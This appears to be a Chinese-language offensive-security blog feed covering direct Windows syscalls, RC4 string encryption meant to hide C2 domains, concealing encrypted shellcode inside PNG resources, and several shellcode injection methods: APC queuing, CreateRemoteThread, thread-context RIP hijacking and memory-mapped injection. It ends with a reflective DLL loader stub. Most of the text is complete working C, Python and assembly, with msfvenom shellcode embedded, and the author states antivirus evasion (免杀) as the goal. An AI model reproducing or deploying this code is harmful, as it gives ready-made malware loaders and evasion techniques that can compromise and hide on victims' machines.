前面的调用过程都一样，主要看看ntdll.dll 中的内容有什么不同。可以看到，这里的系统调用号是3F。之后会使用syscall 进入内核。使用IDA 反汇编更加直观 test byte ptr ds:[7FFE0308],1 是用来判断cpu是否支持快速调用，如果支持使用syscall快速调用进入内核，反之通过中断调用进入内核。

所以对于syscall的调用就比较简单直观了，

实现 ReadProcessMemory（x64）

Tips: x64 无法使用内联汇编。

#include <stdio.h>
#include <windows.h>

EXTERN_C NTSTATUS NTAPI NtReadVirtualMemoryProc(
    HANDLE               ProcessHandle,
    PVOID                BaseAddress,
    PVOID               Buffer,
    ULONG                NumberOfBytesToRead,
    PULONG              NumberOfBytesReaded);

int main()
{
    DWORD dwData = 0;
    HANDLE handle = OpenProcess(PROCESS_ALL_ACCESS, FALSE, 9204);
    //ReadProcessMemory
    NtReadVirtualMemoryProc(handle, (LPVOID)0xf2f848, &dwData, 4, NULL);
    printf("dwData=%x \n", dwData);
    return 0;
}

syscall.asm

.code

NtReadVirtualMemoryProc proc
	mov     r10, rcx     
	mov     eax, 3Fh
	syscall
	ret
NtReadVirtualMemoryProc endp

end

动态获取系统调用号

各系统64位系统调用号获取 | 各系统32位系统调用号获取

x64

动态读取ntdll.dll 中的函数，获取系统调用号

思路参考idiotc4t的文章，详情见参考链接。

以NtReadVirtualMemory 为例首先通过GetProcAddress获取ntdll内NtReadVirtualMemory 函数地址，在距离函数地址偏移四字节位置获取到系统调用号。再做一个系统调用的模板，修改模板中的系统调用号位置，然后通过指针函数对函数模板进行调用。（其实和x86的动态获取也差不多，x86 时直接复制了那一块的代码直接执行）

#include <stdio.h>
#include <windows.h>
#pragma comment(linker, "/section:.data,RWE")//.data段可执行
CHAR FuncExample[] = {
    0x4c,0x8b,0xd1,			  //mov r10,rcx
    0xb8,0xb9,0x00,0x00,0x00, //mov eax,0B9h
    0x0f,0x05,				  //syscall
    0xc3					  //ret
};
typedef NTSTATUS(NTAPI* NtReadVirtualMemoryProc)(
    HANDLE               ProcessHandle,
    PVOID                BaseAddress,
    PVOID               Buffer,
    ULONG                NumberOfBytesToRead,
    PULONG              NumberOfBytesReaded);

VOID SetSysCall() {
    DWORD SysCallid = 0;
    HMODULE hModule = GetModuleHandleA("ntdll.dll");
    if (hModule) {
        DWORD64 FuncAddr = (DWORD64)GetProcAddress(hModule, "NtReadVirtualMemory");
        LPVOID CallAddr = (LPVOID)(FuncAddr + 4); //读取的基地址指向0xb8的地址
        ReadProcessMemory(GetCurrentProcess(), CallAddr, &SysCallid, 1, NULL); //从0xb8开始读取一个字节
        memcpy(FuncExample + 4, (CHAR*)&SysCallid, 1); //复制一个字节到数组
    }

}
int main()
{
    SetSysCall();
    DWORD dwData = 0;
    HANDLE handle = OpenProcess(PROCESS_ALL_ACCESS, FALSE, 7404);
    NtReadVirtualMemoryProc  NtReadVirtualMemory = (NtReadVirtualMemoryProc)&FuncExample;
    NtReadVirtualMemory(handle, (LPVOID)0x4ff800, &dwData, 4, NULL);
    printf("dwData=%x \n", dwData);
    return 0;
}

x86

思路来自woshikele的文章，详情见参考链接。

定义函数指针，申请可执行内存。复制ntdll.dll 中NtReadVirtualMemory 函数内存中的指令到该可执行内存中，调用该函数指针执行。（该32位程序同时适用于在x86 系统和x64 系统上动态获取指令）

#include <stdio.h>
#include <windows.h>

typedef NTSTATUS(NTAPI* NtReadVirtualMemoryProc)(
    HANDLE               ProcessHandle,
    PVOID                BaseAddress,
    PVOID               Buffer,
    ULONG                NumberOfBytesToRead,
    PULONG              NumberOfBytesReaded);

int main()
{
    HMODULE hModule = LoadLibraryA("ntdll.dll");
    PUCHAR pFunAddr = (PUCHAR)GetProcAddress(hModule, "NtReadVirtualMemory");

    //获取ZwOpenProcess函数长度
    ULONG uSize = 0;
    for (int i = 0; i < 100; i++)
    {
        //C2 == ret 
        if (pFunAddr[i] == 0xc2)
        {
            uSize = i + 2;
            break;
        }
    }

    //函数指针申请内存
    NtReadVirtualMemoryProc func = (NtReadVirtualMemoryProc)VirtualAlloc(NULL, 0x1000, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
    //拷贝默认函数数据
    memcpy(func, pFunAddr, uSize);

    DWORD dwData = 0;
    HANDLE handle = OpenProcess(PROCESS_ALL_ACCESS, FALSE, 2900);
    func(handle, (LPVOID)0x41fea8, &dwData, 4, NULL);
    printf("dwData=%x \n", dwData);
    return 0;
}

参考

字符串加密与Shellcode 隐藏

myzx.xcg@gmail.com (myzxcg) — Wed, 12 Jan 2022 23:21:25 +0800

字符串加密

写马时如果存在对外发起请求，那么就会在字符串中存储IP或域名。而字符串在PE中是能够直接查到的，这在静态检测上不利于对C2域名或IP的隐藏。当然加密字符串不止为了隐藏域名和IP这一种用法。下面介绍对字符串用RC4加密，并以16进制存储的方法。

RC4 加解密字符串

#include <Windows.h>
#include <stdio.h>
VOID RC4Init(BYTE* s, CHAR* key, INT Len)
{
	int i = 0, j = 0;
	BYTE k[256] = { 0 };
	BYTE tmp = 0;
	for (i = 0; i < 256; i++)
	{
		s[i] = i;
		k[i] = key[i % Len];
	}
	for (i = 0; i < 256; i++)
	{
		j = (j + s[i] + k[i]) % 256;
		tmp = s[i];
		s[i] = s[j];
		s[j] = tmp;
	}
}
VOID RC4Encrypt(BYTE* s, CHAR* Data, INT Len)
{
	int i = 0, j = 0, t = 0;
	int k = 0;
	BYTE tmp;
	for (k = 0; k < Len; k++)
	{
		i = (i + 1) % 256;
		j = (j + s[i]) % 256;
		tmp = s[i];
		s[i] = s[j];
		s[j] = tmp;
		t = (s[i] + s[j]) % 256;
		Data[k] ^= s[t];
	}
}
int main() {
	//需要加密的数据
	CHAR data[]="you are kidding me"; 
	//加密密钥
	CHAR key[] = "DsbNrQ01WT9Py5RkPT8P";
	BYTE s[256] = { 0 };
	//初始化数组
	RC4Init(s, key, strlen(key));
	//加密
	RC4Encrypt(s,data,strlen(data));
	HANDLE hFile = CreateFile(L"1.txt",GENERIC_WRITE,0,NULL,CREATE_NEW,FILE_ATTRIBUTE_NORMAL,NULL);
	if (hFile != INVALID_HANDLE_VALUE)
	{
		WriteFile(hFile,data,strlen(data),NULL,NULL);
	}
}

结果查看1.txt文件，发现都是乱码，其中可能会包含一些不可打印的字符，这样的结果是没办法作为字符串保存的。

下面介绍把此结果转换成16进制形式存储，并对字符串解密还原。

以16 进制存储结果

首先可利用python 将1.txt的内容转换成16进制。

1
2

import binascii
print(binascii.b2a_hex(open("1.txt","rb").read()))

得到结果: eef725647574cc48fa4dd3f927932e70b152

下面对该字符串每一位进行处理还原

VOID StrToByte(CHAR* Result, CHAR* Src, INT nLen)
{
	CHAR h1, h2;
	CHAR s1, s2;
	int i;
	for (i = 0; i < nLen / 2; i++)
	{
		h1 = Src[2 * i];
		h2 = Src[2 * i + 1];
		s1 = toupper(h1) - 0x30;
		if (s1 > 9)
			s1 -= 7;

		s2 = toupper(h2) - 0x30;
		if (s2 > 9)
			s2 -= 7;

		Result[i] = s1 * 16 + s2;
	}
}

完整解密代码

#include <Windows.h>
#include <stdio.h>
VOID RC4Init(BYTE* s, CHAR* key, INT Len)
{
	int i = 0, j = 0;
	BYTE k[256] = { 0 };
	BYTE tmp = 0;
	for (i = 0; i < 256; i++)
	{
		s[i] = i;
		k[i] = key[i % Len];
	}
	for (i = 0; i < 256; i++)
	{
		j = (j + s[i] + k[i]) % 256;
		tmp = s[i];
		s[i] = s[j];
		s[j] = tmp;
	}
}
VOID RC4Encrypt(BYTE* s, CHAR* Data, INT Len)
{
	int i = 0, j = 0, t = 0;
	int k = 0;
	BYTE tmp;
	for (k = 0; k < Len; k++)
	{
		i = (i + 1) % 256;
		j = (j + s[i]) % 256;
		tmp = s[i];
		s[i] = s[j];
		s[j] = tmp;
		t = (s[i] + s[j]) % 256;
		Data[k] ^= s[t];
	}
}
VOID StrToByte(CHAR* Result, CHAR* Src, INT nLen)
{
	CHAR h1, h2;
	CHAR s1, s2;
	int i;
	for (i = 0; i < nLen / 2; i++)
	{
		h1 = Src[2 * i];
		h2 = Src[2 * i + 1];
		s1 = toupper(h1) - 0x30;
		if (s1 > 9)
			s1 -= 7;

		s2 = toupper(h2) - 0x30;
		if (s2 > 9)
			s2 -= 7;

		Result[i] = s1 * 16 + s2;
	}
}
int main() {
	CHAR Result[50] = {0};
	//以16进制形式加密存储的字符串
	CHAR data[]="eef725647574cc48fa4dd3f927932e70b152";
	//此函数将16进制字符串还原成RC4加密后的字节
	StrToByte(Result,data,strlen(data));
	//密钥不变
	CHAR key[] = "DsbNrQ01WT9Py5RkPT8P";
	BYTE s[256] = { 0 };
	//初始化数组
	RC4Init(s, key, strlen(key));
	//解密
	RC4Encrypt(s,Result,strlen(Result));
	printf("%s\n", Result);
}

利用资源文件隐藏 Shellcode

隐藏 shellcode的方法常见的有两种: 放在服务器上远程下载或者放在本地。远程下载不必多说，有各种Windows API支持。本地存储shellcode也有两种方法: 一个是加密成一个文件，单独存放。一种是打包在PE的资源文件中。前者会多出一个文件，不利于部署。存储在资源文件中相对来说比较方便。

为了保证免杀效果，将首先对shellcode加密，再对shellcode 拆分，分别填充到正常图片中。此方法至少能保证消除shellcode静态特征。

首先利用RC4对shellcode 进行加密。

上面介绍过了RC4加密方法，此处就不重复贴代码了

将加密后的文件，拆分成两份，并分别填充到某个正常图片中间。

这里写了个简单的python 脚本来进行处理

#coding:utf-8
import os
import sys
shellcodePath="encrypt.bin" #rc4加密后的shellcode
pngPath="xx.png" #正常图片，不宜过大。
def echoPng(shellcode,num):
    with open(pngPath,"rb") as f1:
        png=f1.read()
        png1=png[:300]
        png2=png1+shellcode
        png3=png[300:]
        pngAll=png2+png3
        with open("ico{0}.png".format(num),"wb+") as f2:
            f2.write(pngAll)

with open(shellcodePath,"rb") as f:
		#拆分shellcode成两块，并插入到文件中。
    shellcode=f.read()
    shellcode1=shellcode[:len(shellcode)//2]
    shellcode2=shellcode[len(shellcode)//2:]
    echoPng(shellcode1,1)
    echoPng(shellcode2,2)

添加这两份图片到资源文件，并在代码中进行还原。

还原代码

#include <Windows.h>
#include <stdio.h>

#define imgLen 1000 //此处定义原始图片长度

BYTE* getResource(HMODULE hModule, INT num, DWORD* PartLen) {
	HRSRC ResInfo = FindResourceW(hModule, MAKEINTRESOURCE(num), L"PNG");
	if (NULL == ResInfo) { exit(1); }
	HGLOBAL ResData = LoadResource(hModule, ResInfo);
	if (0 == ResData) { ExitProcess(1); }
	LPVOID lpResData = LockResource(ResData);
	DWORD ResSize = SizeofResource(hModule, ResInfo);

	BYTE* data = (BYTE*)calloc(ResSize - 300, 1);
	if (data == NULL) { exit(1); }
	memcpy(data, (BYTE*)lpResData + 300, ResSize - 300); //这里的300 要对应python 文件中的大小
	BYTE* data2 = (BYTE*)calloc(ResSize - imgLen, 1);
	if (data2 == NULL) { exit(1); }
	memcpy(data2, (BYTE*)data, ResSize - imgLen);
	*PartLen = ResSize - imgLen;
	return data2;
}
int WINAPI WinMain(HINSTANCE hInstance,HINSTANCE hPrevInstance,LPSTR lpCmdLine,int nShowCmd) {
	DWORD Part1Len = 0, Part2Len = 0;
	//通过序号读取资源
	BYTE* Part1 = getResource(hInstance, 101, &Part1Len);
	BYTE* Part2 = getResource(hInstance, 102, &Part2Len);
	if (Part1Len == 0 || Part2Len == 0) { exit(1); }
	SIZE_T FSize = (SIZE_T)Part1Len + (SIZE_T)Part2Len; //总长度
	CHAR* data = (CHAR*)calloc(FSize, 1);
	if (data == NULL) { exit(1); }
	//进行合并
	memcpy(data, Part1, Part1Len);
	memcpy(data + Part1Len, Part2, Part2Len);

}

Windows Shellcode 注入姿势

myzx.xcg@gmail.com (myzxcg) — Tue, 11 Jan 2022 23:25:59 +0800

APC

APC（Asynchronous Procedure Call 异步过程调用）是在 Windows 中常用的机制，用于将要在特定线程上下文中完成的作业排队。

APC的实际作用：假设一个线程在执行过程中，发出一个I/O请求，然后设备驱动执行线程传过来的I/O请求，但发出I/O请求的线程会继续执行下去。当线程需要获得返回结果才能继续进行的时候，这时候的线程处于Alertable状态。当设备驱动执行完I/O请求，会将结果插入APC队列，此时系统就会执行APC队列。

APC有两种形式

用户模式APC：由应用程序产生，APC函数地址位于用户空间，在用户空间执行。
内核模式APC：由系统产生，APC函数地址位于内核空间，在内核空间执行。

注意事项

每个线程都会有一个APC队列。
当一个线程从等待状态中苏醒（线程调用SleepEx、SignalObjectAndWait、MsgWaitForMultiple、ObjectsEx、WaitForMultipleObjectsEx、WaitForSingleObjectEx函数时会进入可唤醒(Alertable)状态），进入Alertable状态的时候，Windows 会在这些函数返回前遍历该线程的APC队列，然后按照先进先出 (FIFO)的顺序来执行APC。
在用户模式下，使用QueueUserAPC把APC过程添加到目标线程的APC队列中。等这个线程恢复执行时，就会执行插入的APC。也可利用NtTestAlert函数，它会检查当前线程的 APC 队列，如果有任何排队的APC 作业，它会运行它们以清空队列。

DWORD QueueUserAPC(
  [in] PAPCFUNC  pfnAPC, //APC 函数地址
  [in] HANDLE    hThread, //线程句柄(可以跨进程)
  [in] ULONG_PTR dwData  //APC 函数的参数
);

APC 注入

如上所述，可知道主动运行APC 队列有两种方式: 一是可通过创建一个suspend状态的线程，将shellcode地址插入该线程的APC 队列，再唤起该线程，此时APC 队列就会执行。二是通过NtTestAlert来主动执行APC 队列。

实现代码

生成弹计算器的shellcode msfvenom -p windows/x64/exec CMD="calc.exe" -f c

#include <Windows.h>

//定义NtTestAlert的函数指针
typedef VOID(NTAPI* pNtTestAlert)(VOID);
int main() {
	unsigned char shellcode[] =
		"\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41\x50\x52"
		"\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52\x18\x48"
		"\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9"
		"\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41"
		"\x01\xc1\xe2\xed\x52\x41\x51\x48\x8b\x52\x20\x8b\x42\x3c\x48"
		"\x01\xd0\x8b\x80\x88\x00\x00\x00\x48\x85\xc0\x74\x67\x48\x01"
		"\xd0\x50\x8b\x48\x18\x44\x8b\x40\x20\x49\x01\xd0\xe3\x56\x48"
		"\xff\xc9\x41\x8b\x34\x88\x48\x01\xd6\x4d\x31\xc9\x48\x31\xc0"
		"\xac\x41\xc1\xc9\x0d\x41\x01\xc1\x38\xe0\x75\xf1\x4c\x03\x4c"
		"\x24\x08\x45\x39\xd1\x75\xd8\x58\x44\x8b\x40\x24\x49\x01\xd0"
		"\x66\x41\x8b\x0c\x48\x44\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04"
		"\x88\x48\x01\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59"
		"\x41\x5a\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48"
		"\x8b\x12\xe9\x57\xff\xff\xff\x5d\x48\xba\x01\x00\x00\x00\x00"
		"\x00\x00\x00\x48\x8d\x8d\x01\x01\x00\x00\x41\xba\x31\x8b\x6f"
		"\x87\xff\xd5\xbb\xf0\xb5\xa2\x56\x41\xba\xa6\x95\xbd\x9d\xff"
		"\xd5\x48\x83\xc4\x28\x3c\x06\x7c\x0a\x80\xfb\xe0\x75\x05\xbb"
		"\x47\x13\x72\x6f\x6a\x00\x59\x41\x89\xda\xff\xd5\x63\x61\x6c"
		"\x63\x2e\x65\x78\x65\x00";

			//获取ntdll.dll地址
			pNtTestAlert NtTestAlert = (pNtTestAlert)GetProcAddress(GetModuleHandleA("ntdll.dll"), "NtTestAlert");
			//分配可执行内存空间
			LPVOID lpBaseAddress = VirtualAlloc(NULL, sizeof(shellcode), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
			memcpy(lpBaseAddress, shellcode, sizeof(shellcode));
			//((void(*)())lpBaseAddress)();
			//方法一
			QueueUserAPC((PAPCFUNC)lpBaseAddress, GetCurrentThread(), NULL);
			NtTestAlert();
			//方法二
			/*HANDLE  hThread = CreateThread(0, 0, (LPTHREAD_START_ROUTINE)0xfff, 0, CREATE_SUSPENDED, NULL);
			QueueUserAPC((PAPCFUNC)lpBaseAddress, hThread, NULL);
			ResumeThread(hThread);
			WaitForSingleObject(hThread,INFINITE);*/

}

函数指针与指针函数

函数指针定义格式

void (* func) (void);
函数指针作用

调用函数和做函数的参数。
理解
- 函数指针的实质还是指针，还是指针变量。
- 函数指针、数组指针、普通指针之间并没有本质区别，区别在于指针指向的是什么。
- 函数的实质是一段代码，这一段代码在内存中是连续分布的。函数中的第一句代码的地址就是所谓的函数地址，在C语言中用函数名这个符号来表示。

void func1(void)        //定义一个函数，以方便下面定义函数指针
{
	printf("test for function pointer.\n");
}
 
void (*pFunc)(void);    //函数指针定义
pFunc = func1; 	        //函数指针赋值
(*pFunc)();             //函数指针调用；用函数指针来调用以调用该函数，注意*pFunc要用（）括起来
//pFunc();              //调用的第二种写法，效果和上面一样

而指针函数实质是一个函数，叫这个名字是因为他的返回类型是某一类型的指针。

理解 `((void ( )()) lpBaseAddress)()`

就是把从指定地址开始的命令当作函数进行调用执行。

void (*)() 是一个无参数、无返回类型的函数指针。
(void (*)())lpBaseAddress 是将lpBaseAddress强转为函数指针类型。
(*(void (*)()) lpBaseAddress)() 就是通过函数指针(相当于这个格式(*函数指针)())进行函数调用。

远程线程注入

远程线程注入主要是通过CreateRemoteThread在另外一个进程中创建一个线程并执行。

HANDLE CreateRemoteThread(
  [in]  HANDLE                 hProcess,
  [in]  LPSECURITY_ATTRIBUTES  lpThreadAttributes,
  [in]  SIZE_T                 dwStackSize,
  [in]  LPTHREAD_START_ROUTINE lpStartAddress,
  [in]  LPVOID                 lpParameter,
  [in]  DWORD                  dwCreationFlags,
  [out] LPDWORD                lpThreadId
);

注入方式很简单: 打开远程进程句柄（PROCESS_ALL_ACCESS）—在目标进程里分配内存空间—将shellcode 写入到远程地址空间中—给CreateRemoteThread传入shellcode地址，启动线程。

实现代码

#include <Windows.h>
#include <stdio.h>
#include <Tlhelp32.h>
DWORD GetProcessIdByName(LPCTSTR lpszProcessName)
{
	HANDLE hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
	if (hSnapshot == INVALID_HANDLE_VALUE)
	{
		return 0;
	}
	PROCESSENTRY32 pe;
	pe.dwSize = sizeof pe;
	if (Process32First(hSnapshot, &pe))
	{
		do {
			if (lstrcmpi(lpszProcessName, pe.szExeFile) == 0)
			{
				CloseHandle(hSnapshot);
				return pe.th32ProcessID;
			}
		} while (Process32Next(hSnapshot, &pe));
	}
	CloseHandle(hSnapshot);
	return 0;
}
int main() {
	unsigned char shellcode[] =
		"\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41\x50\x52"
		"\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52\x18\x48"
		"\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9"
		"\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41"
		"\x01\xc1\xe2\xed\x52\x41\x51\x48\x8b\x52\x20\x8b\x42\x3c\x48"
		"\x01\xd0\x8b\x80\x88\x00\x00\x00\x48\x85\xc0\x74\x67\x48\x01"
		"\xd0\x50\x8b\x48\x18\x44\x8b\x40\x20\x49\x01\xd0\xe3\x56\x48"
		"\xff\xc9\x41\x8b\x34\x88\x48\x01\xd6\x4d\x31\xc9\x48\x31\xc0"
		"\xac\x41\xc1\xc9\x0d\x41\x01\xc1\x38\xe0\x75\xf1\x4c\x03\x4c"
		"\x24\x08\x45\x39\xd1\x75\xd8\x58\x44\x8b\x40\x24\x49\x01\xd0"
		"\x66\x41\x8b\x0c\x48\x44\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04"
		"\x88\x48\x01\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59"
		"\x41\x5a\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48"
		"\x8b\x12\xe9\x57\xff\xff\xff\x5d\x48\xba\x01\x00\x00\x00\x00"
		"\x00\x00\x00\x48\x8d\x8d\x01\x01\x00\x00\x41\xba\x31\x8b\x6f"
		"\x87\xff\xd5\xbb\xf0\xb5\xa2\x56\x41\xba\xa6\x95\xbd\x9d\xff"
		"\xd5\x48\x83\xc4\x28\x3c\x06\x7c\x0a\x80\xfb\xe0\x75\x05\xbb"
		"\x47\x13\x72\x6f\x6a\x00\x59\x41\x89\xda\xff\xd5\x63\x61\x6c"
		"\x63\x2e\x65\x78\x65\x00";

	HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS,0, GetProcessIdByName(L"notepad.exe"));
	LPVOID lpBaseAddress = VirtualAllocEx(hProcess, NULL, 2*4096, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
	//注入shellcode 
	WriteProcessMemory(hProcess, lpBaseAddress, shellcode, sizeof(shellcode), NULL);
	HANDLE hThread=CreateRemoteThread(hProcess, 0, 0, (LPTHREAD_START_ROUTINE)lpBaseAddress, 0, 0, 0);
	WaitForSingleObject(hThread, INFINITE);
	//注入dll
	//char path[] = "C:\\Users\\kaifa\\Desktop\\1.dll";
	//WriteProcessMemory(hProcess, lpBaseAddress, path, sizeof(path), NULL);
	//LPTHREAD_START_ROUTINE pLoadlibrary = (LPTHREAD_START_ROUTINE)GetProcAddress(GetModuleHandleA("kernel32.dll"), "LoadLibraryA");
	//CreateRemoteThread(hProcess, 0, 0, (LPTHREAD_START_ROUTINE)pLoadlibrary, lpBaseAddress, 0, 0);

	printf("%d\n",GetLastError());

}

为什么在注入calc的shellcode后会导致目标进程崩溃，但是注入cs的shellcode却不会？

个人认为cs的shellcode运行后会阻塞自己(sleep)，这样会给Windows 调度其他线程的机会。所以该进程的其他线程会有机会执行。弹计算器的shellcode执行完后该线程就直接退出了。

或者修改线程上下文的Rip指针来执行shellcode。

STARTUPINFO si = { 0 };
si.cb = sizeof(si);
PROCESS_INFORMATION pi = { 0 };
TCHAR ProcessName[] = L"notepad";
CreateProcess(NULL, ProcessName, NULL, NULL, FALSE, NULL, NULL, NULL, &si, &pi);
SuspendThread(pi.hThread);
LPVOID lpBaseAddress = VirtualAllocEx(pi.hProcess, NULL, 2 * 4096, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
WriteProcessMemory(pi.hProcess, lpBaseAddress, shellcode, sizeof(shellcode), NULL);
CONTEXT ctx = { 0 };
ctx.ContextFlags = CONTEXT_ALL;
GetThreadContext(pi.hThread, &ctx);
ctx.Rip = (DWORD64)lpBaseAddress;
SetThreadContext(pi.hThread, &ctx);
ResumeThread(pi.hThread);

指令指针IP/EIP/RIP的基本作用是指向要执行的下一条指令地址。

在8086被称为IP（instruction pointer 指令指针），指向下一条指令。
指令指针EIP寄存器包含了当前代码段中的一个偏移量，通过CS:EIP联合指向了即将执行的下一条指令。
在64位模式下，指令指针是RIP寄存器。这个寄存器保持着下一条要执行的指令的64位地址偏移量。

内存映射注入

内存映射文件就是申请一个区域的地址空间，把位于磁盘上的文件全部或部分映射到该内存地址空间上，而不是常规的文件读写方式: 将文件加载到内存中，再分配内存给该地址空间。这种方式的好处是可以不用对文件执行I/O操作，以及对文件内容进行缓存，特别是在处理超大文件时，对内存资源占用极少。

使用内存映射注入还可以在分配内存时，避免使用一些被杀毒软件严密监控的API，如VirtualAllocEx,WriteProcessMemory等。

正常的内存映射文件流程:

利用CreateFile 创建文件内核对象，获取该对象句柄。
利用CreateFileMapping 创建一个文件映射内核对象，并传入第一步打开的文件对象句柄。
利用MapViewOfFile 将文件数据映射到进程的地址空间。该函数将返回文件在进程空间的起始地址。

#include <Windows.h>
#include <Tlhelp32.h>
#pragma comment (lib, "OneCore.lib")
DWORD GetProcessIdByName(LPCTSTR lpszProcessName)
{
	HANDLE hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
	if (hSnapshot == INVALID_HANDLE_VALUE)
	{
		return 0;
	}
	PROCESSENTRY32 pe;
	pe.dwSize = sizeof pe;
	if (Process32First(hSnapshot, &pe))
	{
		do {
			if (lstrcmpi(lpszProcessName, pe.szExeFile) == 0)
			{
				CloseHandle(hSnapshot);
				return pe.th32ProcessID;
			}
		} while (Process32Next(hSnapshot, &pe));
	}
	CloseHandle(hSnapshot);
	return 0;
}
int main() {
	unsigned char shellcode[] = 
		"\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41\x50\x52"
		"\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52\x18\x48"
		"\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9"
		"\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41"
		"\x01\xc1\xe2\xed\x52\x41\x51\x48\x8b\x52\x20\x8b\x42\x3c\x48"
		"\x01\xd0\x8b\x80\x88\x00\x00\x00\x48\x85\xc0\x74\x67\x48\x01"
		"\xd0\x50\x8b\x48\x18\x44\x8b\x40\x20\x49\x01\xd0\xe3\x56\x48"
		"\xff\xc9\x41\x8b\x34\x88\x48\x01\xd6\x4d\x31\xc9\x48\x31\xc0"
		"\xac\x41\xc1\xc9\x0d\x41\x01\xc1\x38\xe0\x75\xf1\x4c\x03\x4c"
		"\x24\x08\x45\x39\xd1\x75\xd8\x58\x44\x8b\x40\x24\x49\x01\xd0"
		"\x66\x41\x8b\x0c\x48\x44\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04"
		"\x88\x48\x01\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59"
		"\x41\x5a\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48"
		"\x8b\x12\xe9\x57\xff\xff\xff\x5d\x48\xba\x01\x00\x00\x00\x00"
		"\x00\x00\x00\x48\x8d\x8d\x01\x01\x00\x00\x41\xba\x31\x8b\x6f"
		"\x87\xff\xd5\xbb\xf0\xb5\xa2\x56\x41\xba\xa6\x95\xbd\x9d\xff"
		"\xd5\x48\x83\xc4\x28\x3c\x06\x7c\x0a\x80\xfb\xe0\x75\x05\xbb"
		"\x47\x13\x72\x6f\x6a\x00\x59\x41\x89\xda\xff\xd5\x63\x61\x6c"
		"\x63\x2e\x65\x78\x65\x00";

	//申请了一段进程虚拟地址，相当于代替了VirtualAlloc，这里不需要从磁盘文件读取shellcode，所以没用到CreateFile。
	HANDLE hMapping = CreateFileMapping(INVALID_HANDLE_VALUE, NULL, PAGE_EXECUTE_READWRITE, 0, sizeof(shellcode), NULL);
	LPVOID lpMapAddress = MapViewOfFile(hMapping, FILE_MAP_WRITEs, 0, 0, sizeof(shellcode));

	//复制shellcode到分配的进程虚拟地址中，lpMapAddress为该地址空间的首地址。
	memcpy((PVOID)lpMapAddress, shellcode, sizeof(shellcode));
	HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, GetProcessIdByName(L"notepad.exe"));
	//向另一进程中写入该虚拟地址空间的内容，相当于代替WriteProcessMemory
	LPVOID lpMapAddressRemote = MapViewOfFile2(hMapping, hProcess, 0, NULL, 0, 0, PAGE_EXECUTE_READ);
	//创建远程线程
	HANDLE hRemoteThread = CreateRemoteThread(hProcess, NULL, 0, (LPTHREAD_START_ROUTINE)lpMapAddressRemote, NULL, 0, NULL);
	UnmapViewOfFile(lpMapAddress);
	CloseHandle(hMapping);

}

Tips: 使用文件映射进行远程进程注入的缺点是它仅适用于 x86→x86 和 x64→x64。VirtualAllocEx与WriteProcessMemory支持跨位数的注入。

推荐后面不使用 MapViewOfFile2和CreateRemoteThread 来注入远程线程，而是使用APC队列。

HANDLE hMapping = CreateFileMapping(INVALID_HANDLE_VALUE, NULL, PAGE_EXECUTE_READWRITE, 0, sizeof(shellcode), NULL);
LPVOID lpMapAddress = MapViewOfFile(hMapping, FILE_MAP_WRITE| FILE_MAP_EXECUTE, 0, 0, sizeof(shellcode));
memcpy((PVOID)lpMapAddress, shellcode, sizeof(shellcode));
QueueUserAPC((PAPCFUNC)lpMapAddress, GetCurrentThread(), NULL);
NtTestAlert();

Reflective DLL

反射DLL 是指：编写DLL 自加载函数（ReflectiveLoader）并导出，然后将PE文件起始字节修改成调用ReflectiveLoader 函数的硬编码。通过ReflectiveLoader 函数使DLL 的PE 结构在内存中展开、修复重定位表、修复IAT表，最后获取DllMain 入口函数地址并执行。

这种方式也可以变相的认为是一种将DLL 变成ShellCode 的技术，不依赖loadlibrary函数且DLL 文件不落地。同样，也可以用上面介绍的ShellCode 注入方式来加载。

DOSHeader 修改

修改PE 文件头起始字节，将其改成调用ReflectiveLoader函数的汇编指令。PE 文件都是以MZ字符开头，对应的16进制是4D5A。在将其当作代码执行时，在X86 32位程序上，4D5A 代表dec ebp pop edx 两条指令。（Hex To ASM Online）所以，如果要保留MZ 这两个字符的话，那么就需要抵消这两条指令的影响。

X86

dec ebp                  ;ebp -1
pop edx                  ;edx=[esp] esp+4
//抵消上两条指令的影响
inc ebp
push edx
call 0                   ;把下一行指令地址压栈，即pop edx指令地址
pop edx                  ;取出栈中的地址，保存到edx寄存器中
add edx,<FuncOffset-9>   ;计算ReflectiveLoader函数在内存中的位置
push ebp
mov ebp, esp             ;保存初始堆栈
call edx                 ;调用ReflectiveLoader函数

x64

41 5a                   ;pop r10
41 52                   ;push r10
e8 00 00 00 00          ;call 0
5b                      ;pop rbx
48 81 c3 09 00 00 00    ;add rbx, <FuncOffset-9>
55                      ;push  rbp
